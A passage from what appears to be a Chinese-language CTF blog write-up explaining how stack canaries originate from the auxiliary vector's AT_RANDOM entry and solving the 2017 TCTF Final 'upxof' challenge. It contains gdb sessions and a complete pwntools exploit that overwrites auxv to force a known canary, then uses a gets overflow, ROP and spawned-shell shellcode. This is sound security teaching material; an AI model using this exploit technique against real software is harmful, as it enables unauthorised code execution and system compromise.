p.sendline()
p.recvall()
p.interactive()

Auxiliary Vector

直接“挖”到 Canary 产生的本源——AUXV(Auxiliary Vector),并修改该结构体从而使 Canary 值可控。

2017-TCTF-Final-upxof

λ checksec ./upxof
[*] '/home/assassinq/Course_4/2017-TCTF-Final-upxof/upxof'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    Packer:   Packed with UPX

拖进 ida 里发现有壳,upx -d 一下:

λ upx -d upxof
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     10116 <-      6253   61.81%  linux/ElfAMD   upxof

Unpacked 1 file.

main 函数长这个样子,gets 这里显然有一个溢出点:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-410h]
  unsigned __int64 v5; // [rsp+408h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  printf("let's go:", 0LL);
  gets(&v4);
  return 0;
}

但是在尝试的时候发现这里有 Canary,疑惑地重新 checksec 一下,发现脱了壳变得不一样了:

λ checksec ./upxof_no_upx
[*] '/home/assassinq/Course_4/2017-TCTF-Final-upxof/upxof_no_upx'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这里又不能泄漏,于是就需要用另一种方法来搞定 Canary,就是改变 auxv 结构体中的内容。auxv 中包含了 Canary 的地址,在动态链接之前就已经确定。(这篇文章讲得比较深入,还有 phrack 上也有一篇文章

auxv 结构可以在 elf/elf.h 里看到:

/* Auxiliary vector.  */
/* This vector is normally only used by the program interpreter.  The
   usual definition in an ABI supplement uses the name auxv_t.  The
   vector is not usually defined in a standard <elf.h> file, but it
   can't hurt.  We rename it to avoid conflicts.  The sizes of these
   types are an arrangement between the exec server and the program
   interpreter, so we don't fully specify them here.  */
typedef struct
{
  uint32_t a_type;                /* Entry type */
  union
    {
      uint32_t a_val;                /* Integer value */
      /* We use to have pointer elements added here.  We cannot do that,
         though, since it does not work when using 32-bit definitions
         on 64-bit platforms and vice versa.  */
    } a_un;
} Elf32_auxv_t;
typedef struct
{
  uint64_t a_type;                /* Entry type */
  union
    {
      uint64_t a_val;                /* Integer value */
      /* We use to have pointer elements added here.  We cannot do that,
         though, since it does not work when using 32-bit definitions
         on 64-bit platforms and vice versa.  */
    } a_un;
} Elf64_auxv_t;

自己写一个带有 Canary 的程序,用 gdb 调一下,info auxv 查看结构体的内容:

assassinq>> info auxv
33   AT_SYSINFO_EHDR      System-supplied DSO's ELF header 0x7ffff7ffa000
16   AT_HWCAP             Machine-dependent CPU capability hints 0xf8bfbff
6    AT_PAGESZ            System page size               4096
17   AT_CLKTCK            Frequency of times()           100
3    AT_PHDR              Program headers for program    0x400040
4    AT_PHENT             Size of program header entry   56
5    AT_PHNUM             Number of program headers      9
7    AT_BASE              Base address of interpreter    0x7ffff7dd7000
8    AT_FLAGS             Flags                          0x0
9    AT_ENTRY             Entry point of program         0x4004a0
11   AT_UID               Real user ID                   1000
12   AT_EUID              Effective user ID              1000
13   AT_GID               Real group ID                  1000
14   AT_EGID              Effective group ID             1000
23   AT_SECURE            Boolean, was exec setuid-like? 0
25   AT_RANDOM            Address of 16 random bytes     0x7fffffffe0e9
31   AT_EXECFN            File name of executable        0x7fffffffefc2 "/home/assassinq/Course_4/2017-TCTF-Final-upxof/canary"
15   AT_PLATFORM          String identifying platform    0x7fffffffe0f9 "x86_64"
0    AT_NULL              End of vector                  0x0

经过了解,结构体中 AT_RANDOM 的值对应了 canary 的值(The value is a pointer to sixteen random bytes provided by the kernel. The dynamic linker uses this to implement a stack canary),可以测试一下:

assassinq>> x/gx 0x7fffffffe0e9
0x7fffffffe0e9:    0x47747e045c58c8d8
assassinq>> canary
canary : 0x47747e045c58c800

还有比较重要的是,程序一开始 AT_RANDOMAT_EXECFNAT_PLATFORM 和其他的值都会被 push 到栈上:

assassinq>> stack 1000
...
1280| 0x7fffffffe0b0 --> 0x7fffffffe0e9 --> 0x47747e045c58c8d8
1288| 0x7fffffffe0b8 --> 0x1f
1296| 0x7fffffffe0c0 --> 0x7fffffffefc2 ("/home/assassinq/Course_4/2017-TCTF-Final-upxof/canary")
1304| 0x7fffffffe0c8 --> 0xf
1312| 0x7fffffffe0d0 --> 0x7fffffffe0f9 --> 0x34365f363878 ('x86_64')
...

可以 searchmem 一下看到存放 Canary 的地方:

assassinq>> searchmem 0x7fffffffe0e9
Searching for '0x7fffffffe0e9' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffe0b0 --> 0x7fffffffe0e9 --> 0x47747e045c58c8d8
assassinq>> searchmem 0x47747e045c58c800
Searching for '0x47747e045c58c800' in: None ranges
Found 2 results, display max 2 items:
 mapped : 0x7ffff7fda728 --> 0x47747e045c58c800
[stack] : 0x7fffffffdc78 --> 0x47747e045c58c800

最后基本上就可以知道 Canary 的起源是如下的方式:

kernel---->AT_RANDOM---->fs:[0x28]---->canary

那么思路就分成了两步:

  1. 在程序还没有链接的时候把 auxv 的结构体覆盖,修改 AT_RANDOM 以设置 Canary 为已知的值
  2. 接下来直接溢出做 ROP 或者直接跳到 shellcode 上

现在看来这个 upx 壳显然是有意义的。需要在没有被脱壳的情况下,没有被载入前覆盖掉 auxv。第一次加载壳的时候可以输入长为 0x4096 的字符串,前八位则要求必须是 12345678 才能过 check。接下来解壳之后就可以溢出。

这题主要是理解 AUXV 以及善用 gdb 调试。脚本:

#!/usr/bin/env python
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process('./upxof')

# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP = 0x10
AT_PAGESZ = 0x06
AT_CLKTCK = 0x11
AT_PHDR = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID = 0x0B
AT_EUID = 0x0C
AT_GID = 0x0D
AT_EGID = 0x0E
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1F
AT_PLATFORM = 0x0F
AT_NULL = 0x00

auxv = ''
#auxv += p64(AT_SYSINFO_EHDR) + p64(0x7ffff7ffd000)
#auxv += p64(AT_HWCAP) + p64(0x9f8bfbff)
#auxv += p64(AT_PAGESZ) + p64(4096)
#auxv += p64(AT_CLKTCK) + p64(100)
auxv += p64(AT_PHDR) + p64(0x400040) # needed
#auxv += p64(AT_PHENT) + p64(56)
auxv += p64(AT_PHNUM) + p64(2) # needed
#auxv += p64(AT_BASE) + p64(0x0)
#auxv += p64(AT_FLAGS) + p64(0x0)
auxv += p64(AT_ENTRY) + p64(0x400988) # needed
#auxv += p64(AT_UID) + p64(0)
#auxv += p64(AT_EUID) + p64(0)
#auxv += p64(AT_GID) + p64(0)
#auxv += p64(AT_EGID) + p64(0)
#auxv += p64(AT_SECURE) + p64(0)
auxv += p64(AT_RANDOM) + p64(0x601100) # Fake canary=0
#auxv += p64(AT_EXECFN) + p64(0x7fffffffeff0)
#auxv += p64(AT_PLATFORM) + p64(0x7fffffffe8e9)
auxv += p64(AT_NULL) + p64(0)

#gdb.attach(p)

payload = '12345678'
payload += p64(0) * 14 # offset
payload += p64(1) # argc
payload += p64(0x601100) # argv
payload += p64(0)
payload += p64(0x601100) * 10 # envp
payload += p64(0)
payload += auxv
p.recvuntil('password:')
p.sendline(payload)

pop_rdi_ret = 0x00000000004007f3
gets_plt = 0x00000000004005B0
buf = 0x601100
payload = '\x00' * 1048 + p64(pop_rdi_ret) + p64(buf) + p64(gets_plt) + p64(buf)
p.recvuntil(':')
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))

p.interactive()

参考网站

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary/
https://www.anquanke.com/post/id/85203
https://bbs.ichunqiu.com/thread-44069-1-1.html
https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/
https://www.jianshu.com/p/c3624f5dd583
https://deadc0de.re/articles/microwave-write-up.html
https://braddaniels.org/csaw-quals-2017-scv/
https://reversingpwn.wordpress.com/2017/09/18/writeup-csaw-2017-scv/
https://n132.github.io/2019/02/25/2019-03-01-auxv-origin-of-canaries/
https://github.com/L4ys/CTF/blob/master/0ctf-final-2017/upxof/exp.py
https://github.com/D-I-E/writeups/tree/master/2017-ctfs/20170602-TCTF-Final/pwn-upxof


ctf pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

【译】Radare2之旅-Part1:Simple crackme
RE入门(三)